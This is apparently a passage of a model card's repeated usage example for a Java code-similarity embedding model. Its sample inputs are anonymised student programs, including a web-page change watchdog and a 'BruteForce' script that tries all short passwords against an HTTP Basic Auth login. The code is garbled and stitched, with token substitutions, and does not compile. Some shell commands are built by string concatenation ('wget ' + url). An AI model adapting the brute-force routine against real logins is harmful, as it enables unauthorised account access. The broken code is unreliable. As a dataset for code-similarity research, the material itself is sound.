j=0;j<str.length();j++){\n\n                passwd =str.substring(i,i+1)+str.substring(j,j+1);\n\n                URLcon = new BruteForce (passwd,username);\n\n                if ((URLcon.num)!=401) {\n\n             \t     t1=System.currentTimeMillis();\n\n                     System.out.println("The password: "+ passwd);\n\n\n                     double dt =t1-t0;\n\n\n\n                     System.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                     System.out.println ("Finish  " + new Date());\n             \t return;\n\n                 }\n                for (int m=0;m<str.length();m++){\n\n                  passwd = str.substring(i,i+1)+str.substring(j,j+1)+str.substring(m,m+1);\n\n                  URLcon = new BruteForce (passwd,username);\n\n                  if ((URLcon.num)!=401) {\n\n                 \tt1=System.currentTimeMillis();\n\n                    System.out.println("The password: "+ passwd);\n\n\n             \t    double dt =t1-t0;\n\n\n\n                 \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                    \n                    System.out.println ("Finish  " + new Date());\n                    \n             \t    return;\n\n                  }\n\n\n             }\n\n}\n}\n        System.out.println(" not find the password");\n\n}\n\n   public  BruteForce  (String password, String username){\n\n  \t  String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n\n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n        url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERTa-Softmax-PairClass-VAST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.util.*;\nimport java.text.*;\nimport java.net.*;\nimport java.security.*;\n\n\n\npublic class WatchDog extends Thread\n{\n\n\t\n\tpublic static void main (String args[])\n\t{\n\t    WatchDog watcher = new WatchDog();\n\t    watcher.run();\n\t}\n\n\t\n    public void run()\n    {\n   \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n          twentyFourHours = 24 * 60 * 60 * 1000;\n        \n\n   \t\twriteProgramLog("Program started at " + longTimestamp.format(new Date()));\n        while(true)\n        {\n    \t\twriteProgramLog("Running run at " + longTimestamp.format(new Date()));\n            compare();\n            try\n            {\n                sleep(twentyFourHours);\n            }\n            catch(InterruptedException e)\n            {\n                writeProgramLog("Program terminated at " + longTimestamp.format(new Date()));\n                System.exit(0);\n            }\n        }\n    } \n\n\t\n    private void compare()\n    {\n        \n        \n        \n        String watchDogFile = "watchDogHash_rcroft.";\n        String watchDogPageFile = "watchDogPage_rcroft.html";\n    \n        File watchDogLogFile = new File(watchDogFile);\n        \n        if(!watchDogLogFile.exists())\n        {\n            \n            \n            \n            \n            \n            WebPage targetPage = getPage();\n            if(targetPage.getSuccess())\n            {\n                byte[] newHash = calcHash(targetPage.getPageContents());\n                writeHash(newHash, watchDogFile);\n                writePage(targetPage.getPageContents(), watchDogPageFile);\n            }\n        }\n        else\n        {\n            try\n            {\n                \n                \n                \n                \n                \n                \n                WebPage targetPage = getPage();\n                if(targetPage.getSuccess())\n                {\n                    \n                    byte[] oldHash = new byte[16]; \n                    byte[] newHash = calcHash(targetPage.getPageContents());\n\n                    \n                    DataInputStream inWatchDogFile = new DataInputStream(new FileInputStream(watchDogFile));\n                    inWatchDogFile.readFully(oldHash);\n                    inWatchDogFile.print();\n                    \n                    \n                    \n                    \n                    if(!java.util.Arrays.equals(oldHash, newHash))\n                    {\n                        String differences = enumerateDifferences(watchDogPageFile, targetPage.getPageContents());\n                        mail(differences);\n                        writeHash(newHash, watchDogFile);\n                        writePage(targetPage.getPageContents(), watchDogPageFile);\n                    }\n                }\n            }\n            catch(IOException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }\n        }\n    } \n    \n\n\t\n\tprivate String enumerateDifferences(String oldPageFileName, String newPageData)\n\t{\n\t    String differences = "";\n\t    File newFile = null;\n\n\t    try\n\t    {\n\t      \n\t      \n\t      newFile = File.createTempFile("new", "tmp");\n          String tempFilePath = newFile.getAbsolutePath();\n          DataOutputStream outFile = new DataOutputStream(new FileOutputStream(tempFilePath));\n          outFile.writeBytes(newPageData);\n          outFile.print();\n          \n          \n          String commandLine = "diff " + oldPageFileName + " " + tempFilePath;\n          Process p = Runtime.getRuntime().exec(commandLine);\n          BufferedReader diffs = new BufferedReader(new InputStreamReader(p.getInputStream()));\n          String line;\n          while((line = diffs.readLine()) != null)\n            differences += line + "\\n";\n          diffs.print();\n          newFile.delete();\n\t    }\n\t    catch(IOException e)\n\t    {\n\t        writeProgramLog("Exception: " + e);\n\t    }\n\t    return differences;\n\t}  \n\n\t\n    private void mail(String mailMessage)\n    {\n        \n        Vector emailAddresses = new Vector();\n        String watchDogEmailFile = "watchDogEmail_rcroft.txt";\n\n        \n        File emailFile = new File(watchDogEmailFile);\n        if(emailFile.exists())\n        {\n            try\n            {\n                \n                BufferedReader inWatchDogEmailFile = new BufferedReader(new InputStreamReader(new FileInputStream(watchDogEmailFile)));\n                String line;\n                while ((line = inWatchDogEmailFile.readLine()) != null)\n                {\n                    line = line.trim();\n                    if((line != "") && (line != "\\n"))\n                        emailAddresses.add(line);\n                }\n                inWatchDogEmailFile.print();\n    \t    }\n    \t    catch(FileNotFoundException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n    \t    catch(IOException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n        }\n        else\n        {\n            emailAddresses.add("@yallara.cs.rmit.edu.");\n            emailAddresses.add("[email protected].");\n        }\n                \n        if(emailAddresses.size() > 0) \n        {\n            try\n            {\n                String fromAddress = "From: " + "WatchDog Program ()" + " <" + System.getProperty("user.name") + "@" + InetAddress.getLocalHost().getHostName() + ">";\n        \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n                String subject = "Subject: [SEC project] Notification of target file changes (" + longTimestamp.format(new Date()) +")";\n                for(int i = 0; i < emailAddresses.size(); i++)\n                {\n                    String toAddress = (String) emailAddresses.get(i);\n                    try\n                    {\n                        URL mailURL = new URL("mailto: " + toAddress);\n                        URLConnection mailConnection = mailURL.openConnection();\n                        mailConnection.setDoInput(false);\n                        mailConnection.setDoOutput(true);\n                        mailConnection.connect();\n                        PrintWriter mailWriter = new PrintWriter(new OutputStreamWriter(mailConnection.getOutputStream()));\n                        mailWriter.print(": " + toAddress + "\\n");\n                        mailWriter.print(fromAddress + "\\n");\n                        mailWriter.print(subject + "\\n");\n                        mailWriter.print(mailMessage);\n                        mailWriter.print();\n                        writeProgramLog("\\tNotification mailed in this run.");\n                    }\n                    catch(MalformedURLException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                    catch(IOException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                }\n            }\n            catch(UnknownHostException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }  \n        }  \n    } \n    \n\n\t\n    private void writeHash(byte [] newHash, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.write(newHash, 0, newHash.length);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\t\n    private void writePage(String newPage, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.writeBytes(newPage);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\n\t\n    private void writeProgramLog(String comment)\n    {\n        String fileName = "watchDogLog_rcroft.txt";\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName, true));\n            outFile.writeBytes(comment + "\\n");\n            outFile.flush();\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            \n            \n            System.out.println("Exception: " + e);\n        }\n    }  \n\n\t\n    private WebPage getPage()\n    {\n        WebPage tempWebPage = new WebPage();\n        try\n        {\n            \n            \n            \n            String urlName = "http://www.cs.rmit.edu./students/";\n   \t    \tURL targetURL= new URL(urlName);\n           \tHttpURLConnection connection = (HttpURLConnection) targetURL.openConnection();\n        \n            \n            connection.connect();\n            connection.getResponseCode();\n            if(connection.getResponseCode() == 200)\n\t\t    {\n\t\t        String fileContents = "";\n\t\t        BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));\n                String line;\n    \t\t    while((line = in.readLine()) != null)\n\t\t    \t    fileContents = fileContents + line + "\\n";\n\t\t        in.print();\n\t\t        tempWebPage.setPageContents(fileContents);\n    \t\t    tempWebPage.setSuccess(true);\n    \t\t    connection.disconnect();\n\t        }\n\t        else\n\t\t    {\n    \t\t    writeProgramLog("Failed  connect " + connection.getResponseCode());\n\t\t    } \n        }\n        catch(IOException e)\n        {\n    \t    writeProgramLog("Exception " + e);\n        } \n        return tempWebPage;\n    } \n    \n\t\n    private  byte[] calcHash(String pageContents)\n    {\n        byte[] outHash = null;\n        try\n        {\n            MessageDigest msg = MessageDigest.getInstance("");\n            msg.reset();\n            msg.update(pageContents.getBytes());\n            outHash = msg.digest();\n            msg.reset();\n        }\n        catch(NoSuchAlgorithmException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n        return outHash;\n    } \n        \n} \n',
    '\n\n\n\n \nimport java.io.*;\nimport java.net.*;\nimport java.Runtime;\nimport java.util.*;\nimport java.net.smtp.SmtpClient; \n\n\n\npublic class WatchDog\n\n{\n\n   static String strImageOutputFile01      = "WebPageImages01.txt";\n   static String strImageOutputFile02      = "WebPageImages02.txt";\n\n   static String strWebPageOutputFile01    = "WebPageOutput01.txt";\n   static String strWebPageOutputFile02    = "WebPageOutput02.txt";\n\n   static String strWatchDogDiffFile_01_02 = "WatchDogDiff_01_02.txt";\n\n   static String strFromEmailDefault = "@.rmit.edu.";\n   static String strToEmailDefault   = "@.rmit.edu.";\n\n   static String strFromEmail = null;\n   static String strToEmail   = null;\n\n\n\n\n   public static void main (String args[])\n   \n   {\n\n         \n         \n         \n         \n         \n\n      URL url = null;\n      HttpURLConnection urlConnection;\n      int intContentLength;\n      String strWebPageText = "";\n\n      String strURL     = "http://www.cs.rmit.edu./students/";\n      String strPrePend = "http://www.cs.rmit.edu.";\n\n      boolean boolURLisOK = true;\n\n\n\n\n\n      System.out.println();\n\n\n         \n         \n      tidyUpWatchDogFiles();\n\n\n         \n         \n         \n         \n      promptForEmailAddresses();\n\n\n\n\n      try\n      {\n            \n            \n         url = new URL(strURL);       \n      }\n\n      catch(MalformedURLException e)\n      {\n         System.out.println("ERROR:  invalid URL " + strURL);   \n         System.err.println(e);  \n \n         boolURLisOK = false;\n         url = null;\n      }    \n\n      catch(Exception e)\n      {\n         System.out.println("Exception");   \n         System.err.println(e);  \n      }\n\n\n      System.err.println();  \n\n\n      if (boolURLisOK)\n      {\n         try\n         { \n\n               \n               \n            urlConnection = (HttpURLConnection)url.openConnection();\n\n\n               \n               \n            InputStream urlStream = urlConnection.getInputStream();\n\n\n               \n               \n            int intNumRead = urlStream.print();\n            String strNewContent; \n\n            while (intNumRead != -1)\n            {\n               intNumRead = urlStream.print();\n               if (intNumRead != -1)\n               {\n                  strNewContent = (char)intNumRead + ""; \n                  strWebPageText += strNewContent;\n               }\n            }\n\n            urlStream.print(); \n\n\n\n               \n               \n            if (strWebPageText != null)\n            {\n\n               if (fileExists(strWebPageOutputFile01))\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile02);               \n               }\n\n               else\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile01);               \n               }\n\n\n               if (fileExists(strWebPageOutputFile02))\n               { \n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile02    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A text comparison  NOW  performed " +\n                                      "with the output");\n                  System.out.println("file \'" + strWebPageOutputFile01 + "\'.");\n                  System.out.println();\n\n\n\n                     \n                     \n\n                     \n                     \n                  createDiffFileIfNeeded(strWebPageOutputFile01, \n                                         strWebPageOutputFile02);                  \n\n\n                     \n                     \n                  if (fileExists(strWatchDogDiffFile_01_02))\n                  { \n\n                     System.out.println("Mail  (ordinary text comparison)");\n                     System.out.println("--------------------------------");\n\n                     if (getFileSize(strWatchDogDiffFile_01_02) > 0)\n                     {\n                        sendMailWithDetectedChanges();\n                        System.out.println("Text diff mail has been sent  the \'\' email address.");\n                     }\n                     else\n                     {\n                        System.out.println("The DIFF file has zero length - text diff mail has NOT been sent.");\n                     }\n\n                  }\n\n\n\n                     \n                     \n                  createImageTextFile(strWebPageOutputFile01, strPrePend);\n                  createImageTextFile(strWebPageOutputFile02, strPrePend);\n\n                  System.out.println();\n                  System.out.println("Image text file/s");\n                  System.out.println("-----------------");\n\n\n                  if (fileExists(strImageOutputFile01))\n                  {\n                     System.out.println("\'" + strImageOutputFile01 + "\' has been created.");\n                     System.out.println("Images from \'" + strImageOutputFile01 + "\'  now  downloaded using");  \n                     System.out.println("the Unix \'wget\' command:");  \n\n                     downloadImages(strImageOutputFile01);\n                  }\n\n                  if (fileExists(strImageOutputFile02))\n                  {\n                     System.out.println();\n                     System.out.println("\'" + strImageOutputFile02 + "\' has been created.");\n                  }\n\n                  System.out.println();\n\n               }\n\n               else if (fileExists(strWebPageOutputFile01))\n               {\n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile01    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A comparison CANNOT  performed " +\n                                      "with this output file");\n                  System.out.println("because it is the only output file " +\n                                     "in existence.");\n                  System.out.println();\n               }\n\n            }\n\n         }\n\n         catch(Exception e)\n         {\n\n            boolURLisOK = false;\n\n            System.err.println(e);\n         }   \n\n         finally\n         { \n            urlConnection = null;\n            url = null; \n         }\n\n      }\n\n\n      System.out.println();\n\n   }\n\n\n\n\n\n\n\n   static void tidyUpWatchDogFiles()\n   \n   {\n\n         \n         \n\n\n         \n         \n      deleteFile(strWatchDogDiffFile_01_02);\n\n\n         \n         \n      deleteFile(strImageOutputFile01);\n      deleteFile(strImageOutputFile02);\n\n\n      if (fileExists(strWebPageOutputFile01))\n      {\n\n         if (fileExists(strWebPageOutputFile02))\n         {\n               \n               \n               \n               \n               \n            deleteFile(strWebPageOutputFile01);\n            renameFile(strWebPageOutputFile02, strWebPageOutputFile01);\n         }\n\n      }\n\n      else\n      {\n            \n            \n            \n         deleteFile(strWebPageOutputFile02);\n      }\n\n   }\n\n\n\n\n\n\n\n   static void promptForEmailAddresses()\n   \n   {      \n\n\n      BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in));\n\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'From\' email address");\n      System.out.println("--------------------");\n      System.out.println("Please enter a \'From\' email address,  press Enter for default");\n      System.out.print("(default: " + strFromEmailDefault + "):  ");\n\n      try\n      {\n         strFromEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strFromEmail == null) || (strFromEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'From\' email address  default :  " + strFromEmailDefault);         \n         strFromEmail = strFromEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'From\' email address is:  " + strFromEmail);         \n      }\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'\' email address");\n      System.out.println("------------------");\n      System.out.println("Please enter a \'\' email address,  press Enter for default");\n      System.out.print("(default: " + strToEmailDefault + "):  ");\n\n      try\n      {\n         strToEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strToEmail == null) || (strToEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'\' email address  default :  " + strToEmailDefault);         \n         strToEmail = strToEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'\' email address is:  " + strToEmail);         \n      }\n\n   }\n\n\n\n\n\n\n\n   static void writeTextToFile(String strText,\n                               String strWriteToThisFileName)\n   \n   {\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         toFile.write(strText);\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static void createDiffFileIfNeeded(String strFileName1, \n                                      String strFileName2)\n   \n   {\n\n\n\n\n\n\n\n\n\n\n\n\n\n         \n         \n\n         \n         \n      try\n      {\n\n         Process p = Runtime.getRuntime().exec("./diff_files.sh");\n         p.waitFor();\t\n\n      }\n\n      catch (Exception e)\n      {\n         System.out.println("Shell script exception");\n         System.out.println("----------------------");\n         System.err.println(e);\n         System.out.println("");\n      }\n\n   }\n\n\n\n\n\n\n\n   static void createImageTextFile(String inputFile, String prePend)\n   \n   {\n\n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n\n      String str;\n      String strImage = "";\n      String strImageArray[];\n      String strInputFromFile = "";\n      String strSearchString = "<img src";\n\n      boolean boolContinue = true;\n\n      int intImageCounter  = 0;\n      int intStartSearch   = 0;\n\n      char ch;\n\n\n\n\n\n      strImageArray = new String[1000];\n\n\n\n         \n         \n      try\n      {\n\n         BufferedReader file =\n              new BufferedReader(new FileReader(inputFile));\n\n\n         while ( (str = file.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         file.print();\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         boolContinue = false;\n         System.err.println(e);       \n      }\t\n\n\n\n      if (boolContinue)\n      {\n\n         strInputFromFile = (strInputFromFile.toLowerCase()).trim();\n\n         intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n\n         while (intStartSearch != -1)\n         {\n\n            intStartSearch += 8;\n\n            while ( (strInputFromFile.charAt(intStartSearch) == \' \')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'=\')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'\\"\')   )\n            {\n               intStartSearch++;          \n            }\n\n            while ((strInputFromFile.charAt(intStartSearch) != \'\\"\'))              \n            {\n\n               ch = strInputFromFile.charAt(intStartSearch);\n\n               strImage += String.valueOf(ch);\n               intStartSearch++;\n\n            }\n\n\n            if (strImage.startsWith("/"))\n               strImage = prePend + strImage;          \n\n\n            intImageCounter++;\n            strImageArray[intImageCounter - 1] = strImage;\n\n            strImage = "";\n\n            intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n         }\n\n\n         if (inputFile.equals(strWebPageOutputFile01))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile01,\n                                 intImageCounter);\n         }\n         else if (inputFile.equals(strWebPageOutputFile02))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile02,\n                                 intImageCounter);\n         }\n\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void downloadImages(String ImageOutputFile)\n   \n   {\n\n      Process p;\n\n      String str;\n      String strFileName;\n\n\n\n      try      \n      {\n\n         BufferedReader file =\n                 new BufferedReader(new FileReader(ImageOutputFile));\n\n\n\n         while ( (str = file.readLine()) != null)\n         {\n\n            strFileName = getImageFileName(str);\n\n            System.out.println("    " + str);\n            System.out.println("             file name:  " + strFileName);                                                           \n\n\n            if (fileExists(strFileName))\n               deleteFile(strFileName);\n\n\n            p = Runtime.getRuntime().exec("wget " + str);\n            p.waitFor();\t\n\n         }\n\n\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         System.err.println("downloadingImages:  " + e);\n      }\n\n   }\n\n\n\n\n\n\n\n   static String getImageFileName(String imageFileName)\n   \n   {\n\n         \n         \n         \n\n      String strFileName;\n\n      int intFileNameLength     = imageFileName.length();      \n      int intStartPosOfFileName = intFileNameLength - 1;\n\n\n\n\n         \n         \n      while ( (intStartPosOfFileName >= 0) && \n              (imageFileName.charAt(intStartPosOfFileName) != \'/\') )\n      {\n         intStartPosOfFileName--; \n      }\n\n\n      strFileName = imageFileName.substring(intStartPosOfFileName + 1, \n                                            intFileNameLength);\n\n\n      return strFileName;\n\n   }\n\n\n\n\n\n\n\n   static void writeTextArrayToFile(String strTextArray[],\n                                    String strWriteToThisFileName,\n                                    int numberOfImages )\n   \n   {\n\n      boolean boolFirstLineWritten = false;\n\n\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         for ( int i = 0 ; i < numberOfImages ; i++ )\n         {\n\n            if (boolFirstLineWritten) \n               toFile.newLine();\n            else\n               boolFirstLineWritten = true;\n  \n\n            toFile.write(strTextArray[i]);\n\n         }\n\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static boolean fileExists(String strFileName)\n   \n   {\n\n      boolean boolReturnValue;\n      File aFile = new File(strFileName);\n\n\n      if (aFile.exists())\n         boolReturnValue = true;\n      else\n         boolReturnValue = false;\n      \n\n      aFile = null;\n\n\n      return boolReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void deleteFile(String strFileName)\n   \n   {\n\n\n      if (fileExists(strFileName))\n      { \n         File aFile = new File(strFileName);\n\n         try\n         {\n            aFile.delete();\n         }\n\n         catch (Exception e)\n         {\n            System.err.println(e);\n         }\n\n\n         aFile = null;\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void renameFile(String strFromFileName, String strToFileName)\n   \n   {\n\n\n      File from = new File(strFromFileName);\n      File to   = new File(strToFileName);\n\n\n      boolean success = from.renameTo();\n\n\n      from = null;\n      to = null;\n\n   }\n\n\n\n\n\n\n\n   static  getFileSize(String strFileName)\n   \n   {\n\n       lngReturnValue;\n\n\n\n      File file = new File(strFileName);\n      \n      lngReturnValue = file.length();\n\n      file = null;\n\n\n      return lngReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void sendMailWithDetectedChanges()\n   \n   {\n\n      String str;\n      String strInputFromFile = null;\n\n\n\n      try \n      { \n\n\n         BufferedReader fromFile =\n              new BufferedReader(new FileReader(strWatchDogDiffFile_01_02));\n\n\n         while ( (str = fromFile.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         fromFile.print();\n         fromFile = null;\n\n\n            \n            \n            \n         SmtpClient smtp = new SmtpClient(); \n\n            \n            \n         smtp.from(strFromEmail); \n\n            \n            \n         smtp.to(strToEmail); \n\n            \n            \n         PrintStream msg = smtp.startMessage(); \n\n            \n            \n         msg.println(": " + strToEmail); \n\n            \n            \n         msg.println("From: " + strFromEmail); \n         msg.println("Subject: Change in website content\\n"); \n         msg.println(strInputFromFile); \n\n            \n            \n            \n         smtp.closeServer(); \n\n      } \n\n      catch (IOException e) \n      {\n         System.err.println(e);     \n      } \n\n   }\n\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass BruteForce {\n\n    String password="";\n\n    int num =401;\n\n\n    public static void main (String[] args) {\n\n      String str="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\n      BruteForce URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      \n      if (args.length == 0) {\n      \t\n      \tSystem.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      \treturn;\n      \t\n      \t}\n      String username = args[0];\n      \n\n      t0=System.currentTimeMillis();\n\n      System.out.println ("  " + new Date());\n      \n      System.out.println ("Using BruteForce method  attack "+username+"\'s password.Please waiting.......");\n\n       for (int i=0;i<str.length();i++){\n\n             passwd=str.substring(i,i+1);\n\n             URLcon = new BruteForce (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n\n\n             \tSystem.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n\n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n             for (int j=0;j<str.length();j++){\n\n                passwd =str.substring(i,i+1)+str.substring(j,j+1);\n\n                URLcon = new BruteForce (passwd,username);\n\n                if ((URLcon.num)!=401) {\n\n             \t     t1=System.currentTimeMillis();\n\n                     System.out.println("The password: "+ passwd);\n\n\n                     double dt =t1-t0;\n\n\n\n                     System.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                     System.out.println ("Finish  " + new Date());\n             \t return;\n\n                 }\n                for (int m=0;m<str.length();m++){\n\n                  passwd = str.substring(i,i+1)+str.substring(j,j+1)+str.substring(m,m+1);\n\n                  URLcon = new BruteForce (passwd,username);\n\n                  if ((URLcon.num)!=401) {\n\n                 \tt1=System.currentTimeMillis();\n\n                    System.out.println("The password: "+ passwd);\n\n\n             \t    double dt =t1-t0;\n\n\n\n                 \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                    \n                    System.out.println ("Finish  " + new Date());\n                    \n             \t    return;\n\n                  }\n\n\n             }\n\n}\n}\n        System.out.println(" not find the password");\n\n}\n\n   public  BruteForce  (String password, String username){\n\n  \t  String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n\n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n        url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERTa-Softmax-PairClass-VAST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.util.*;\nimport java.text.*;\nimport java.net.*;\nimport java.security.*;\n\n\n\npublic class WatchDog extends Thread\n{\n\n\t\n\tpublic static void main (String args[])\n\t{\n\t    WatchDog watcher = new WatchDog();\n\t    watcher.run();\n\t}\n\n\t\n    public void run()\n    {\n   \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n          twentyFourHours = 24 * 60 * 60 * 1000;\n        \n\n   \t\twriteProgramLog("Program started at " + longTimestamp.format(new Date()));\n        while(true)\n        {\n    \t\twriteProgramLog("Running run at " + longTimestamp.format(new Date()));\n            compare();\n            try\n            {\n                sleep(twentyFourHours);\n            }\n            catch(InterruptedException e)\n            {\n                writeProgramLog("Program terminated at " + longTimestamp.format(new Date()));\n                System.exit(0);\n            }\n        }\n    } \n\n\t\n    private void compare()\n    {\n        \n        \n        \n        String watchDogFile = "watchDogHash_rcroft.";\n        String watchDogPageFile = "watchDogPage_rcroft.html";\n    \n        File watchDogLogFile = new File(watchDogFile);\n        \n        if(!watchDogLogFile.exists())\n        {\n            \n            \n            \n            \n            \n            WebPage targetPage = getPage();\n            if(targetPage.getSuccess())\n            {\n                byte[] newHash = calcHash(targetPage.getPageContents());\n                writeHash(newHash, watchDogFile);\n                writePage(targetPage.getPageContents(), watchDogPageFile);\n            }\n        }\n        else\n        {\n            try\n            {\n                \n                \n                \n                \n                \n                \n                WebPage targetPage = getPage();\n                if(targetPage.getSuccess())\n                {\n                    \n                    byte[] oldHash = new byte[16]; \n                    byte[] newHash = calcHash(targetPage.getPageContents());\n\n                    \n                    DataInputStream inWatchDogFile = new DataInputStream(new FileInputStream(watchDogFile));\n                    inWatchDogFile.readFully(oldHash);\n                    inWatchDogFile.print();\n                    \n                    \n                    \n                    \n                    if(!java.util.Arrays.equals(oldHash, newHash))\n                    {\n                        String differences = enumerateDifferences(watchDogPageFile, targetPage.getPageContents());\n                        mail(differences);\n                        writeHash(newHash, watchDogFile);\n                        writePage(targetPage.getPageContents(), watchDogPageFile);\n                    }\n                }\n            }\n            catch(IOException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }\n        }\n    } \n    \n\n\t\n\tprivate String enumerateDifferences(String oldPageFileName, String newPageData)\n\t{\n\t    String differences = "";\n\t    File newFile = null;\n\n\t    try\n\t    {\n\t      \n\t      